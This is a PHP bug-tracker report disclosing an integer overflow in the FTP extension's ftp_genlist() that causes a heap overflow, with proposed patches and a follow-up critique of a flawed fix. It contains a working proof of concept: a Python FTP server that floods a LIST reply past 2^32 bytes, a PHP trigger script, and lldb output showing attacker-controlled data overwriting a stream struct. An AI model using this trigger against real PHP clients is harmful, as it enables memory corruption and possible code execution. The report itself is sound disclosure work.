|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2015-04-28 23:55 UTC] maxgeorgspelsberg at gmail dot com
Description:
------------
The ftp_genlist() function of the ftp extension is prone to an integer overflow, which may result in remote code execution.
ext/ftp/ftp.c:ftp_genlist(...)
1826 size = 0;
1827 lines = 0;
1828 lastch = 0;
1829 while ((rcvd = my_recv(ftp, data->fd, data->buf, FTP_BUFSIZE))) {
1830 if (rcvd == -1) {
1831 goto bail;
1832 }
1833
1834 php_stream_write(tmpstream, data->buf, rcvd);
1835
1836 size += rcvd;
1837 for (ptr = data->buf; rcvd; rcvd--, ptr++) {
1838 if (*ptr == '\n' && lastch == '\r') {
1839 lines++; // [0]
1840 } else {
1841 size++; // [1]
1842 }
1843 lastch = *ptr;
1844 }
1845 }
In the above loop `size' or `lines' may overflow (at [0] respectively [1]).
This requires sending more than 2^32 bytes, which will be stored in a tempfile.
1851 ret = safe_emalloc((lines + 1), sizeof(char*), size); // [2]
1852
1853 entry = ret;
1854 text = (char*) (ret + lines + 1);
1855 *entry = text;
1856 lastch = 0;
1857 while ((ch = php_stream_getc(tmpstream)) != EOF) {
1858 if (ch == '\n' && lastch == '\r') {
1859 *(text - 1) = 0;
1860 *++entry = text;
1861 } else {
1862 *text++ = ch; // [3]
1863 }
1864 lastch = ch;
1865 }
1866 *entry = NULL;
This results in the allocated buffer at [2] being to small to hold the data written to
the tempfile, which results in a heap overflow at [3] when loading the contents of the
tempfile back into memory.
These kind of bugs are well-known to be exploitable and since php_stream_getc uses structs
located on the heap, which may be overwritten, I think that this bug can be leveraged to attain
remote code execution.
Regards,
Max Spelsberg
malicious_server.py
===================
#!/usr/bin/env python2
# coding: utf-8
# based on https://gist.github.com/scturtle/1035886
import os,socket,threading,time
allow_delete = False
local_ip = "localhost"
local_port = 8887
currdir=os.path.abspath('.')
class FTPserverThread(threading.Thread):
def __init__(self,(conn,addr)):
self.conn=conn
self.addr=addr
self.basewd=currdir
self.cwd=self.basewd
self.rest=False
self.pasv_mode=False
threading.Thread.__init__(self)
def run(self):
self.conn.send('220 Welcome!\r\n')
while True:
cmd=self.conn.recv(256)
if not cmd: break
else:
print 'Recieved:',cmd
try:
func=getattr(self,cmd[:4].strip().upper())
func(cmd)
except Exception,e:
print 'ERROR:',e
#traceback.print_exc()
self.conn.send('500 Sorry.\r\n')
self.conn.close()
def TYPE(self,cmd):
self.mode=cmd[5]
self.conn.send('200 Binary mode.\r\n')
def PASV(self,cmd): # from http://goo.gl/3if2U
self.pasv_mode = True
self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.servsock.bind((local_ip,0))
self.servsock.listen(1)
ip, port = self.servsock.getsockname()
print 'open', ip, port
self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
(','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
def start_datasock(self):
if self.pasv_mode:
self.datasock, addr = self.servsock.accept()
print 'connect:', addr
else:
self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.datasock.connect((self.dataAddr,self.dataPort))
def stop_datasock(self):
self.datasock.close()
if self.pasv_mode:
self.servsock.close()
# THIS is the interesting part
def LIST(self,cmd):
self.conn.send('150 Here comes the directory listing.\r\n')
print 'list:', self.cwd
self.start_datasock()
# send 2^32 + 1 bytes of data
for i in xrange(262144):
if i % 10000 == 0:
print "%d" % i
self.datasock.send("B"*16384)
self.datasock.send("A\r\n")
self.stop_datasock()
self.conn.send('226 Directory send OK.\r\n')
class FTPserver(threading.Thread):
def __init__(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.bind((local_ip,local_port))
threading.Thread.__init__(self)
def run(self):
self.sock.listen(5)
while True:
th=FTPserverThread(self.sock.accept())
th.daemon=True
th.start()
def stop(self):
self.sock.close()
if __name__=='__main__':
ftp=FTPserver()
ftp.daemon=True
ftp.start()
print 'On', local_ip, ':', local_port
raw_input('Enter to end...\n')
ftp.stop()
buggy.php
=========
<?php
$id = ftp_connect("localhost", 8887);
ftp_pasv($id, TRUE);
var_dump(ftp_rawlist($id, "/"));
?>
Result
======
(lldb) r ./buggy.php
Process 54712 launched: '/usr/bin/php' (x86_64)
Process 54712 stopped
* thread #1: tid = 0x204e9, 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1024243de)
frame #0: 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182
libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown:
-> 0x7fff86503056 <+182>: movb (%rsi,%r8), %cl
0x7fff8650305a <+186>: movb %cl, (%rdi,%r8)
0x7fff8650305e <+190>: subq $0x1, %rdx
0x7fff86503062 <+194>: je 0x7fff86503078 ; <+216>
(lldb) register read rsi
rsi = 0x00000001024243de
(lldb) bt
* thread #1: tid = 0x204e9, 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1024243de)
* frame #0: 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182
frame #1: 0x000000010031b2c7 php`_php_stream_read + 81
frame #2: 0x000000010031b8a1 php`_php_stream_getc + 22
frame #3: 0x000000010010ec3a php`___lldb_unnamed_function2574$$php + 614
frame #4: 0x000000010010c21c php`___lldb_unnamed_function2530$$php + 118
frame #5: 0x00000001003cb2af php`___lldb_unnamed_function9391$$php + 1752
frame #6: 0x00000001003813b0 php`execute_ex + 79
frame #7: 0x000000010035d592 php`zend_execute_scripts + 482
frame #8: 0x0000000100308897 php`php_execute_script + 684
frame #9: 0x00000001003edce0 php`___lldb_unnamed_function9505$$php + 4653
frame #10: 0x00000001003ec93c php`___lldb_unnamed_function9503$$php + 1408
frame #11: 0x00007fff8cb8d5c9 libdyld.dylib`start + 1
(lldb)
[Note that the first three bytes (42, 43, de) of rsi have been overwritten!]
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Wed Oct 29 10:00:01 2025 UTC |
This should fix the bug (As the bug is marked private, I unfortunately can't add a patch, so I have to resort to adding a new comment): diff --git a/ext/ftp/ftp.c b/ext/ftp/ftp.c index a6e0dfd..b805abe 100644 --- a/ext/ftp/ftp.c +++ b/ext/ftp/ftp.c @@ -1653,7 +1653,7 @@ ftp_genlist(ftpbuf_t *ftp, const char *cmd, const char *path TSRMLS_DC) lines = 0; lastch = 0; while ((rcvd = my_recv(ftp, data->fd, data->buf, FTP_BUFSIZE))) { - if (rcvd == -1) { + if (rcvd == -1 || size > INT_MAX - (rcvd * 2)) { goto bail; } After investigating a little bit further I noticed, that the provided test script(s) overwrite a part of the php_stream struct with user controlled data: (lldb) frame variable *stream (php_stream) *stream = { ops = 0x4242424242424242 abstract = 0x4242424242424242 readfilters = { head = 0x4242424242424242 tail = 0x4242424242424242 stream = 0x4242424242424242 } [...] `ops' points to a bunch of function pointers, so arbitrary code execution is much easier to achieve, than I previously thought.It's great to see this bug being fixed. Unfortunately the patch is flawed. In the recv loop (line 1829-1845 in my bug report) `size' can be incremented at two places. Once at `size += rcvd' and also at `size++'. This means that `size' can be incremented by more than `rcvd' per iteration, which results in the added overflow check being bypassable. `size' can be incremented by at most `rcvd * 2' per iteration, which is the reason my previously suggested fix uses `rcvd * 2' and not only `rcvd'. To properly fix the bug I suggest - in addition to the overflow check already in existence - removing the else branch, that increments `size' by one, resulting in `size' only being increased by `rcvd' or less per iteration and thus ensuring the overflow check can't be bypassed. It's also worth noting that said branch isn't necessary for the workings of the function and just needlessly complicates it. Regards, Max Spelsberg == @@ -1663,8 +1663,6 @@ ftp_genlist(ftpbuf_t *ftp, const char *cmd, const char *path TSRMLS_DC) for (ptr = data->buf; rcvd; rcvd--, ptr++) { if (*ptr == '\n' && lastch == '\r') { lines++; - } else { - size++; } lastch = *ptr; }